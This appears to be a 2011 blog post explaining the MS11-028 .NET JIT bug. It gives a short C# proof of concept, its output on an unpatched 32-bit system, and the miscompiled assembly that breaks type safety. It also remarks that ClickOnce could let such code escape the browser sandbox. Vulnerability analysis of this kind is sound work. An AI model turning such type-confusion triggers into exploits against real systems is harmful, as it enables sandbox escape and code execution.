# Tuesday, 19 April 2011
« MS11-028 Vulnerability Details | Main | New Development Snapshot »
MS11-028 Vulnerability Details

The bug report apparently originated on stackoverflow and was subsequently filed on Microsoft connect. So it has been public since August 4, 2010 and easily findable in connect (that's how I found it, by searching for JIT bugs). Microsoft seems to believe that since they have not seen any widespread exploits of .NET vulnerabilities (see claim here) that this was not a high priority issue.

I've drawn my conclusions and disabled running all .NET code in the browser on my system.

It should also be noted that using ClickOnce, this issue can be used to execute code outside of the Internet Explorer Protected Mode sandbox.

Here is a simple example that uses the bug to violate type safety:

using System;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;

[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct RunLong {
  public byte Count;
  public long Value;

  public RunLong(byte count, long value) {
    Count = count;
    Value = value;
  }
}

class Program {
  static void Main(string[] args) {
    try {
      Whoop(null, null, args, null, Frob(new RunLong(1, 0)));
    } catch { }
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  private static object Frob(RunLong runLong) {
    return null;
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  private static void Whoop(object o1, object o2, object o3, Program p, object o5) {
    Console.WriteLine("p = " + p);
    throw new Exception();
  }
}

Running this on an unpatched system (we compile with /platform:x86, because only the 32 bit JIT is affected):

C:\temp>csc /platform:x86 program.cs

C:\temp>program
p = System.String[]

Here we see that p, typed as Program, contains a string[]. This is a classic type safety hole and can be used like this.

Generated Code

Here's the code generated for the highlighted line by the unpatched JIT:

   mov   eax,1
   xor   ecx,ecx
   xor   edx,edx
   push  esi
   push  ecx
   push  eax                    ; incorrect instruction
   push  eax                    ; incorrect instruction
   mov   word ptr [esp+1],cs    ; incorrect instruction
   call  Frob
   push  eax
   xor   edx,edx
   xor   ecx,ecx
   call  Whoop

The three incorrect instructions are supposed to push the RunLong value on the stack (padded to 12 bytes), but instead push 8 bytes (and an incorrect value) and store the cs segment register (?). This causes the stack to become unbalanced (because Frob pops 12 bytes off the stack) and the result is that the third parameter to Whoop (o3) ends up in the place of fourth parameter (p).

The resulting unbalanced stack would result in a crash, so Whoop throws an exception to restore the stack to a sane state.

Tuesday, 19 April 2011 13:54:49 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]